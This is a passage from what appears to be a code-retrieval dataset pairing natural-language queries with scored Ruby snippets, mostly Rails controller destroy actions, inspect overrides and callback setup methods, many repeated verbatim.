"text": "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n respond_to do |format|\n format.html { redirect_to metrics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.609396",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba2b9ba4ac27b286e8e53289f9ba12d2",
"score": "0.60934556",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "52782d752ed24dfa591e5e708fb83099",
"score": "0.60861933",
"text": "def destroy\n @url_performance = UrlPerformance.find(params[:id])\n @url_performance.destroy\n\n respond_to do |format|\n format.html { redirect_to url_performances_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "44b49f5f9f2d49bff3fe5a205d0facc9",
"score": "0.6081087",
"text": "def delete\n if params[:id]\n result = backend_instance.storage_delete(params[:id])\n else\n result = backend_instance.storage_delete_all\n end\n\n if result\n respond_with(Occi::Collection.new)\n else\n respond_with(Occi::Collection.new, status: 304)\n end\n end",
"title": ""
},
{
"docid": "4c8a4de286d829f54c89663cf4f4c487",
"score": "0.60805285",
"text": "def destroy\n @running_entry.destroy\n respond_to do |format|\n format.html { redirect_to running_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "52f51442b465950c4d36d58c86aec2d5",
"score": "0.60803044",
"text": "def result_files\n logger.info \"data_points_contoller.results_files enter\"\n dp = DataPoint.find(params[:id])\n dp.result_files.destroy\n dp.save\n\n # Check if we want to delete anything else here (e.g. the results hash?)\n\n respond_to do |format|\n format.json { head :no_content }\n end\n logger.info \"data_points_contoller.results_files leave\"\n end",
"title": ""
},
{
"docid": "b654668fcaa89bbd8c730217dd461b05",
"score": "0.60753024",
"text": "def destroy\n @eqi_result.destroy\n respond_to do |format|\n format.html { redirect_to eqi_results_url, notice: 'Eqi result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f42326c808655d15108038e2d41429f8",
"score": "0.6073076",
"text": "def destroy\n @record = AssetCycleFact.find(params[:id])\n @record.trash\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75ccd9d3b3f397b57aedd655654ffac6",
"score": "0.6067942",
"text": "def destroy\n @test_case_result = TestCaseResult.find(params[:id])\n @test_case_result.destroy\n\n respond_to do |format|\n format.html { redirect_to test_case_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ac1d92859c5f0e3005be18d4eb1defb1",
"score": "0.6053174",
"text": "def destroy\n @performance_request = PerformanceRequest.find(params[:id])\n @performance_request.destroy\n\n respond_to do |format|\n format.html { redirect_to performance_requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "05b0243b2497aec178263a42346df309",
"score": "0.60522777",
"text": "def destroy\n _delete(get, action: :destroy) if get && !cache.uploaded?(get)\n end",
"title": ""
},
{
"docid": "becf7a6b448600050203a3aada3ba66b",
"score": "0.60482687",
"text": "def destroy\n @data_result = DataResult.find(params[:id])\n @data_result.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_results_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ad75ba92a30abdc973d9a3c82bc33cdf",
"score": "0.60474443",
"text": "def destroy\n @storage_entry.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7ba519c6fb0ec4bdbb54e44c063d961f",
"score": "0.60474336",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to request.referer, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6515ed551ad871c4a284e1903adf3da",
"score": "0.60423476",
"text": "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/stats\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "537bd3a5611df408c315b422cd6789fb",
"score": "0.60368526",
"text": "def destroy\n\t\t@result = current_user.results.find(params[:id])\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url, notice: 'Result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a716b2f0db374e436c50e81b47db5af6",
"score": "0.60312575",
"text": "def destroy\n expire_page :controller => \"main\", :action => \"index\"\n @statistic = Statistic.find(params[:id])\n @statistic.destroy\n\n respond_to do |format|\n format.html { redirect_to(statistics_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
}
] |
e0c321426dbda32f6c82e6f83e48cddb | Override default inspect for a more concise representation of the object | [
{
"docid": "684993857cea46e4f95cec92c571289f",
"score": "0.0",
"text": "def inspect\n '#<JsonObj>'\n end",
"title": ""
}
] | [
{
"docid": "c4b63c41fda1192a8e330e171732860b",
"score": "0.7489821",
"text": "def inspect; to_s; end",
"title": ""
},
{
"docid": "c4b63c41fda1192a8e330e171732860b",
"score": "0.7489821",
"text": "def inspect; to_s; end",
"title": ""
},
{
"docid": "c4b63c41fda1192a8e330e171732860b",
"score": "0.7489821",
"text": "def inspect; to_s; end",
"title": ""
},
{
"docid": "c4b63c41fda1192a8e330e171732860b",
"score": "0.7489821",
"text": "def inspect; to_s; end",
"title": ""
},
{
"docid": "c4b63c41fda1192a8e330e171732860b",
"score": "0.7489821",
"text": "def inspect; to_s; end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "c2ecf78db8d316c56cc2d5275f5746a2",
"score": "0.7367498",
"text": "def inspect() end",
"title": ""
},
{
"docid": "f85af03eba1795c854031d7d9727b2f9",
"score": "0.7359608",
"text": "def inspect(*) end",
"title": ""
},
{
"docid": "f85af03eba1795c854031d7d9727b2f9",
"score": "0.7359608",
"text": "def inspect(*) end",
"title": ""
},
{
"docid": "f85af03eba1795c854031d7d9727b2f9",
"score": "0.7359608",
"text": "def inspect(*) end",
"title": ""
},
{
"docid": "f85af03eba1795c854031d7d9727b2f9",
"score": "0.7359608",
"text": "def inspect(*) end",
"title": ""
},
{
"docid": "f85af03eba1795c854031d7d9727b2f9",
"score": "0.7359608",
"text": "def inspect(*) end",
"title": ""
},
{
"docid": "41d25ab77066b1e00a8ccabd990b5e80",
"score": "0.73531425",
"text": "def inspect\n redacted_string(:inspect)\n end",
"title": ""
},
{
"docid": "41d25ab77066b1e00a8ccabd990b5e80",
"score": "0.73531425",
"text": "def inspect\n redacted_string(:inspect)\n end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.72560346",
"text": "def inspect; end",
"title": ""
},
{
"docid": "88c3fe488c0e692f0fabff58ab30cb2f",
"score": "0.72356296",
"text": "def pretty_inspect\n self.inspect\n end",
"title": ""
},
{
"docid": "b79e7f01dbeb31ffdcab1ed994549d35",
"score": "0.7148763",
"text": "def inspect\n inspectables = self.class.inspectables\n if inspectables\n \"#<#{self.class}:0x#{object_id.to_s(16)} \" + inspectables.map {|i| \"@#{i}=\\\"#{send(i) rescue nil}\\\"\"}.join(' ') + \">\"\n else\n super\n end\n end",
"title": ""
},
{
"docid": "b79e7f01dbeb31ffdcab1ed994549d35",
"score": "0.7148763",
"text": "def inspect\n inspectables = self.class.inspectables\n if inspectables\n \"#<#{self.class}:0x#{object_id.to_s(16)} \" + inspectables.map {|i| \"@#{i}=\\\"#{send(i) rescue nil}\\\"\"}.join(' ') + \">\"\n else\n super\n end\n end",
"title": ""
},
{
"docid": "23b215d5cdd3a826c7f175a97ff51a20",
"score": "0.7132498",
"text": "def inspect\n inspection = serializable_hash.collect do |k,v|\n \"#{k}: #{respond_to?(:attribute_for_inspect) ? attribute_for_inspect(k) : v.inspect}\"\n end\n \"#<#{self.class} #{inspection.join(\", \")}>\"\n end",
"title": ""
},
{
"docid": "35bba8568528f0c4bd852f90f8b5ac9a",
"score": "0.71086496",
"text": "def inspect\n self._inspect({})\n end",
"title": ""
},
{
"docid": "e006ea5deaeb46cefba094ea3d3123b9",
"score": "0.7108545",
"text": "def inspect() \"~#{@obj.inspect}~\" ; end",
"title": ""
},
{
"docid": "4398a37a404ed7dcbd1d30d24b64e5dc",
"score": "0.7074693",
"text": "def inspect\n to_s \n end",
"title": ""
},
{
"docid": "b0264f2f24e26e02711f4264ea6f297d",
"score": "0.7003871",
"text": "def inspectable?; true; end",
"title": ""
},
{
"docid": "e04ed084308ae94e861d4db3b5739533",
"score": "0.6982327",
"text": "def inspect\n att_info = []\n inspect_attributes.each do |att|\n next unless respond_to? att\n\n att_info << \"#{att}=#{send(att).inspect}\"\n end\n att_info << '..'\n \"\\#<#{self.class}:#{object_id} #{att_info.join(', ')}>\"\n end",
"title": ""
},
{
"docid": "bc5e70e6884c8d32597362ad3e153b1f",
"score": "0.6926616",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "bc5e70e6884c8d32597362ad3e153b1f",
"score": "0.6926616",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "28acfe0b88a27f33cc59f01cad98d951",
"score": "0.6926181",
"text": "def inspect\n original_inspect = super\n original_inspect.split( ' ' ).first << '>'\n end",
"title": ""
},
{
"docid": "28acfe0b88a27f33cc59f01cad98d951",
"score": "0.6926181",
"text": "def inspect\n original_inspect = super\n original_inspect.split( ' ' ).first << '>'\n end",
"title": ""
},
{
"docid": "28acfe0b88a27f33cc59f01cad98d951",
"score": "0.6926181",
"text": "def inspect\n original_inspect = super\n original_inspect.split( ' ' ).first << '>'\n end",
"title": ""
},
{
"docid": "05d6fd52b1b97f379cd038b2301201c6",
"score": "0.6922496",
"text": "def inspect\n inspection = self.info.keys.map { |name|\n \"#{name}: #{attribute_for_inspect(name)}\"\n }.compact.join(\", \")\n \"#<#{self.class}:0x#{self.object_id.to_s(16)} #{inspection}>\"\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "dfff2dc8dd610d43657385dc07042030",
"score": "0.6870563",
"text": "def inspect\n end",
"title": ""
},
{
"docid": "364217bde731c34cfd5336c47ea54c11",
"score": "0.68436486",
"text": "def inspect\n self.to_s\n end",
"title": ""
},
{
"docid": "364217bde731c34cfd5336c47ea54c11",
"score": "0.68436486",
"text": "def inspect\n self.to_s\n end",
"title": ""
},
{
"docid": "bd2701ba73fda21d69100b2ec24cead2",
"score": "0.6804107",
"text": "def inspect\n return self.to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.6792969",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "e3d8d3c738f09748cdc89582352dc0cb",
"score": "0.67908394",
"text": "def inspect(options={})\n \"(TODO: def #{self.class}#inspect(options={}))\"\n end",
"title": ""
},
{
"docid": "fb378d69c7f15a54111cda9c9b9e9408",
"score": "0.6782202",
"text": "def inspect()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "e72540a0709bf5447343726cca62581c",
"score": "0.67766106",
"text": "def inspect_in_object(obj, opts)\n val = obj.send(name)\n str =\n begin\n val.inspect_with_options(opts)\n rescue NoMethodError\n val.inspect\n end\n (f=@format) ? (f % str) : str\n end",
"title": ""
},
{
"docid": "6162c004f47582b4c6af634ad050e9c8",
"score": "0.67765766",
"text": "def inspect?\n @inspect\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.6735955",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.6735955",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "9d8a7f8b304c5d5d00185277c724c00f",
"score": "0.67063457",
"text": "def inspect\n @_inspect ||= begin\n \"#<\" <<\n self.class.inspect <<\n (\":0x%014x\" % object_id) <<\n \">\"\n end\n end",
"title": ""
},
{
"docid": "a359b877abd28b7abf7f8c678ea8577d",
"score": "0.66786885",
"text": "def inspect\n to_s\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "8da3e00dfd4ec2c8294db9ece2d59970",
"score": "0.0",
"text": "def set_book\n @book = Book.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163163",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6045976",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5946146",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.591683",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58349305",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776858",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5652805",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5621621",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54210985",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53402257",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53394014",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53321576",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53124547",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529654",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5296262",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52952296",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52600986",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52442724",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
